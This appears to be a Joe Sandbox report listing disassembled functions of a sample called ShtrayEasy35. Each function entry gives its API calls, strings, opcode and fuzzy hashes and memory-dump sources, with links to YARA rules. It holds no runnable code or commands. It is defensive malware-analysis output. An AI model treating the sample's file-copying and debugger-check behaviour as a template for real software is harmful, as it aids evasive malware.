API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 84b27201209d83da6b8c3ae3b2be22a5c12d8dee49c2be48f6037603914b29d2
Instruction ID: c3222927271be9f582e41bc9d8caae1e59f36ebe4e1e3882a4943508f8340db2
Opcode Fuzzy Hash: 84b27201209d83da6b8c3ae3b2be22a5c12d8dee49c2be48f6037603914b29d2
Instruction Fuzzy Hash: 50F05E31400208BFDB106FA5FC04AAA7BADEF14761B108638FA68A54A0D73188A59B60

Function 00E4C6F0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E5A06A: GetSystemTimeAsFileTime.KERNEL32(5847037D,?,?,?,?,?,00E4A815,00000000,5847037D), ref: 00E5A07F
Part of subcall function 00E5A06A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E5A09E

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00E4C743
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00E4C7A9
GetTempPathA.KERNEL32(00000104,?), ref: 00E4C7BC
std::_Throw_Cpp_error.LIBCPMT ref: 00E4CB21
std::_Throw_Cpp_error.LIBCPMT ref: 00E4CB30
GetCurrentProcessId.KERNEL32 ref: 00E4CB48

Strings

invalid stoi argument, xrefs: 00E4C459, 00E4C6B2, 00E4CB06
stoi argument out of range, xrefs: 00E4C463, 00E4C6BC, 00E4CB10

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: File$Cpp_errorModuleNameThrow_Timestd::_$CurrentPathProcessSystemTempUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: invalid stoi argument$stoi argument out of range
API String ID: 3489346416-1606216832
Opcode ID: 7e722f7881eeb5e6139ce8ff02597c452d23217a92b1bcedab80838770d43537
Instruction ID: 0efc3f63537006b71f0a043764540f23c3746d86bf4caaab71945d45abfcc38a
Opcode Fuzzy Hash: 7e722f7881eeb5e6139ce8ff02597c452d23217a92b1bcedab80838770d43537
Instruction Fuzzy Hash: 4AB127715053404BD728EB20EC46BAFB7E5AFC4304F149A1DF589A7292EB70A948CB53

Function 00E4FB4A Relevance: 6.2, APIs: 4, Instructions: 161
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E4F982: CopyFileW.KERNELBASE(?,5847037D,00000000,?,?,?,00E4FC76,?,?,00000000,5847037D,?,?), ref: 00E4F992

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000000,00000000,?,?,00000001,5847037D,?,?), ref: 00E4FBB6
GetLastError.KERNEL32(?,?,?,?,?,00E46381,?,?,00000002,?,?,?,?,00000003,000000FF,5847037D), ref: 00E4FBC3
CreateFileW.KERNEL32(?,00000080,?,00000000,00000003,00000000,00000000,?,?,?,?,?,00E46381,?,?,00000002), ref: 00E4FBEC
GetLastError.KERNEL32(?,?,?,?,?,00E46381,?,?,00000002,?,?,?,?,00000003,000000FF,5847037D), ref: 00E4FBF9

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: File$CreateErrorLast$Copy
String ID:
API String ID: 1426432123-0
Opcode ID: f3837924839d1fde45096074c9fb33cae91e9ccd46728fcfd0ece882c94f6bdb
Instruction ID: ba5759aacd462cba87c59cdc82e0acffc7ee1caf064e41ccdd631359ba3a45c9
Opcode Fuzzy Hash: f3837924839d1fde45096074c9fb33cae91e9ccd46728fcfd0ece882c94f6bdb
Instruction Fuzzy Hash: 5A41BC71E00208AFDB14EBA5ACC1ABEB7B8EF49B14F105539FE11F7241DB609D058B64

Function 00E46BB0 Relevance: 4.7, APIs: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,5847037D,?,00000000), ref: 00E46C24
CreateDirectoryA.KERNELBASE(?,00000000,?), ref: 00E46D38
GetLastError.KERNEL32 ref: 00E46D46

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CreateDirectoryErrorLastPathTemp
String ID:
API String ID: 3750913106-0
Opcode ID: 98e778af3ba250c982beb16f5e8a05b050e0bd9f8e63cd4090a76374f666a1a6
Instruction ID: 5ab20a20a8fefa9bd08294376748c29b2835aab6e661ba624d72f3e899abc886
Opcode Fuzzy Hash: 98e778af3ba250c982beb16f5e8a05b050e0bd9f8e63cd4090a76374f666a1a6
Instruction Fuzzy Hash: B361E371A002188BDB28DB24DC88BEEB7B5EF4A304F1042D9E449B7692DB305FC48F51

Function 00E45810 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00E4583A

Part of subcall function 00E4FD66: FindNextFileW.KERNELBASE(?,?,?,00E459F5,?,5847037D,?,?,5847037D,?,?,?,5847037D,?), ref: 00E4FD6F

Strings

., xrefs: 00E45848

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 3878998205-248832578
Opcode ID: ff979f6965f8e4f7e1cfeebd6775f874227bb82f818510d61dbdd5da1db93f07
Instruction ID: 38dd7e17e7967c65a3276b0a94899e057eabf2a99107c4b512fdb274e457e045
Opcode Fuzzy Hash: ff979f6965f8e4f7e1cfeebd6775f874227bb82f818510d61dbdd5da1db93f07
Instruction Fuzzy Hash: 7A21D531A00A148BCB34DF59E8047ADB3F4EF88325F4416AAD84AA7291EF709D85CFC0

Function 00E458E0 Relevance: 3.2, APIs: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 00E459C2
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00E459F0

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8___std_fs_directory_iterator_open@12
String ID:
API String ID: 3016148460-0
Opcode ID: 5800863cacb276a0948cce253156d8e2fb1f9a92115dcb03d6d89fd0c78c9ed4
Instruction ID: f3a3a14288d6ba5443e67c79e0b83282af17700b13a699af6cd5ce6f0e858b91
Opcode Fuzzy Hash: 5800863cacb276a0948cce253156d8e2fb1f9a92115dcb03d6d89fd0c78c9ed4
Instruction Fuzzy Hash: 8651E372D00618DBCF24DF54D8C4BAEB7B4EF84724F145629E825B7682D730AD44CB90

Function 00E4F982 Relevance: 3.0, APIs: 2, Instructions: 20
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileW.KERNELBASE(?,5847037D,00000000,?,?,?,00E4FC76,?,?,00000000,5847037D,?,?), ref: 00E4F992
GetLastError.KERNEL32(?,00E4FC76,?,?,00000000,5847037D), ref: 00E4F9A8

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: CopyErrorFileLast
String ID:
API String ID: 374144340-0
Opcode ID: 6ae6e76cc7cfc9b7b5d4065a94ff8e7dd28ede8f29decd414c8f0d6c6491b22a
Instruction ID: 944469def2112cc0ebff168b7bc55a367caee08226c89b115fa934891667dcce
Opcode Fuzzy Hash: 6ae6e76cc7cfc9b7b5d4065a94ff8e7dd28ede8f29decd414c8f0d6c6491b22a
Instruction Fuzzy Hash: EAE04F30604189BFDB01CBA5DC08FAE7FA9AB95304F148058F644A1160DA74D985D771

Function 00E6277E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4761ec50b2ede985246e9d9d05edf71a58a5f19296700d9af2c9dfb4f0fa4d10
Instruction ID: 369fbbf1dedb495ba8a59423dc38cd52ebddab72c6cd4d04ecceb6769cf7a616
Opcode Fuzzy Hash: 4761ec50b2ede985246e9d9d05edf71a58a5f19296700d9af2c9dfb4f0fa4d10
Instruction Fuzzy Hash: A5012D372546155F8B02CF69FC41D9633A5F7C8364324102AFB14F72A4EE31E844D790

Non-executed Functions

Function 00E6A74D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00E6A855
IsValidCodePage.KERNEL32(00000000), ref: 00E6A893
IsValidLocale.KERNEL32(?,00000001), ref: 00E6A8A6
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00E6A8EE
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00E6A909

Strings

,p, xrefs: 00E6A7B2

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,p
API String ID: 415426439-3709828959
Opcode ID: 62ac5215551c06e604c17e6ac974605c171bcbdbdcf051e062ebb04100e1aa8b
Instruction ID: 3a9abef6c8dff6c792c10f534009ca330198aa0470de060ffaf24b2f3621fe4f
Opcode Fuzzy Hash: 62ac5215551c06e604c17e6ac974605c171bcbdbdcf051e062ebb04100e1aa8b
Instruction Fuzzy Hash: 0251A971E40205AFEB10DBA5EC45ABA77B8FF08784F182439E904F7191E770A944CB62

Function 00E69DD8 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

GetACP.KERNEL32(?,?,?,?,?,?,00E5E766,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00E69E97
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00E5E766,?,?,?,00000055,?,-00000050,?,?), ref: 00E69ECE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00E6A031

Strings

,p, xrefs: 00E69E16
utf8, xrefs: 00E69FA0

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: ,p$utf8
API String ID: 607553120-1277963659
Opcode ID: 083efaf6e4e307f3686edac12d16088104a52c88f983c5b96d40e4043c4a512a
Instruction ID: f2888f73f39d078796bcbfe245556db8795ec98ed2d65fb7e63eeb6159168e89
Opcode Fuzzy Hash: 083efaf6e4e307f3686edac12d16088104a52c88f983c5b96d40e4043c4a512a
Instruction Fuzzy Hash: 9F71F731680202AADB24AB74EC42BBB73ECEF05788F15642AF505F7182EB75E940C761

Function 00E6A571 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00E6A883,00000002,00000000,?,?,?,00E6A883,?,00000000), ref: 00E6A60A
GetLocaleInfoW.KERNEL32(?,20001004,00E6A883,00000002,00000000,?,?,?,00E6A883,?,00000000), ref: 00E6A633
GetACP.KERNEL32(?,?,00E6A883,?,00000000), ref: 00E6A648

Strings

OCP, xrefs: 00E6A5C5
ACP, xrefs: 00E6A58F

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 696a4ffc357d992cb54a50fabafa0536253253f0bce8b74df0cc568cd9f67cfc
Instruction ID: fc4ded4e882e611655949230d4a1ff9125e153530862ab77fc4d8ac6050944ab
Opcode Fuzzy Hash: 696a4ffc357d992cb54a50fabafa0536253253f0bce8b74df0cc568cd9f67cfc
Instruction Fuzzy Hash: EA216522E80101AAD734CB14E901A9A72A6EB54B98B5EE478E90AF7154F731DD41CF52

Function 00E5B2E0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6970aa3af08567890e369f4e35d894d92c7a9cc5edecd2a02881d37823a5b150
Instruction ID: f5260cecfddbb9791061665f90fe7afbd25ec8384e015198c0d60c6887737ea4
Opcode Fuzzy Hash: 6970aa3af08567890e369f4e35d894d92c7a9cc5edecd2a02881d37823a5b150
Instruction Fuzzy Hash: DC023C71E012199BDF14CFA9C8806AEBBF1FF48315F24866AE919F7341D771A905CB90

Function 00E5227E Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00E5228A
IsDebuggerPresent.KERNEL32 ref: 00E52356
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E5236F
UnhandledExceptionFilter.KERNEL32(?), ref: 00E52379

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6d8196316fee19171c2b41b2736728bfc3821a5f3bcfdee2cf1a158f6f9659cb
Instruction ID: 144f889bc1c883eb9e1f0f458b6a99144810c8bc150fac448c16b24ba95fc6c9
Opcode Fuzzy Hash: 6d8196316fee19171c2b41b2736728bfc3821a5f3bcfdee2cf1a158f6f9659cb
Instruction Fuzzy Hash: 27311875D013199BDB20DFA5D8897CDBBB8BF08301F1045EAE50CAB250EB709A88CF45

Function 00E5162F Relevance: 6.0, APIs: 4, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00E5174F,00E7333C), ref: 00E51634
UnhandledExceptionFilter.KERNEL32(00E5174F,?,00E5174F,00E7333C), ref: 00E5163D
GetCurrentProcess.KERNEL32(C0000409,?,00E5174F,00E7333C), ref: 00E51648
TerminateProcess.KERNEL32(00000000,?,00E5174F,00E7333C), ref: 00E5164F

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 0227fb7564d5774ac602206b765969d33195b0b97d6327b2f222e9d77cdae169
Instruction ID: 452ef9b4f4fd4cadd255c91ef16d33283bc62741f3cd09693a5df647ad187035
Opcode Fuzzy Hash: 0227fb7564d5774ac602206b765969d33195b0b97d6327b2f222e9d77cdae169
Instruction Fuzzy Hash: A6D01232001209FFDF00ABE2FC4CA483F28FB08232F804098F30EA2421CB3244888B61

Function 00E4F7B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,5847037D,?,00E41AA3,?,5847037D), ref: 00E4F7CB
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,5847037D,00000000,00000000,?,?,00E41AA3,?,5847037D), ref: 00E4F7F2

Strings

!x-sys-default-locale, xrefs: 00E4F7C6

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 122eb78b7ce3039e5a364d3f1dbe19b8331eda3670dda861b480552a63514dcd
Instruction ID: 1a040d022cb35867302c147521484ef40e9343b7b2210a22fe01bc6e93dd3dc6
Opcode Fuzzy Hash: 122eb78b7ce3039e5a364d3f1dbe19b8331eda3670dda861b480552a63514dcd
Instruction Fuzzy Hash: D8F030B5510105FFEB089B95DC0ADEB77ACEB08794F10402AFA06F6050E2B0AE40D770

Function 00E501A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,000900A8,00000000,00000000,?,5],00004002,00000000), ref: 00E501BC
GetLastError.KERNEL32(?,?,00E45D35,?,00000000,00004002), ref: 00E501CA

Strings

5], xrefs: 00E501AC

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ControlDeviceErrorLast
String ID: 5]
API String ID: 2645620995-3803708751
Opcode ID: 9f9cfcdc67f0d9ea2f007ffa27bc5d8f49f1365018bbc6f0035291014fa4e701
Instruction ID: b06e0ae1db214e74810617bfc787b3c9938f112091d8f32460effc34647203e5
Opcode Fuzzy Hash: 9f9cfcdc67f0d9ea2f007ffa27bc5d8f49f1365018bbc6f0035291014fa4e701
Instruction Fuzzy Hash: 46E0EC72211109BF9B0A8F62DC0ADAB7B6DEB05346B40851DBA06A0060E671D959A731

Function 00E6A1F5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00E5FC10: GetLastError.KERNEL32(00000000,?,00E64DD8), ref: 00E5FC14
Part of subcall function 00E5FC10: SetLastError.KERNEL32(00000000,00000000,?,00000006,000000FF), ref: 00E5FCB6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E6A249
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E6A293
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00E6A359

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 1281674394d7d679933dafec0344050839424a11beb335f4502834d0985d0017
Instruction ID: 24966ae5d54586761c1e4fa8abc790f589ea95c461af39d256c245b15bdc0106
Opcode Fuzzy Hash: 1281674394d7d679933dafec0344050839424a11beb335f4502834d0985d0017
Instruction Fuzzy Hash: 1561A2719801079FDB249F24EC86BBA73A9EF04384F1890B9E915F6281EB74D981CF51

Function 00E55EF3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00E55FEB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00E55FF5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00E56002

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5f3234f6ddd3170e7c044324719ea4cb21b3bc0e5cf0aa66c93e7d93ff9bac61
Instruction ID: c4e77dff7097261e3958dde858dd987aaef47aa55491b26bd0b59ba71601ae2f
Opcode Fuzzy Hash: 5f3234f6ddd3170e7c044324719ea4cb21b3bc0e5cf0aa66c93e7d93ff9bac61
Instruction Fuzzy Hash: F1310574901218ABCB21DF64DC8878CBBF4BF08311F5055EAE90CA72A1E7309F858F44

Function 00E66682 Relevance: 1.9, APIs: 1, Instructions: 410timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00E66AC7,00000000,00000000,00000000), ref: 00E66986

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

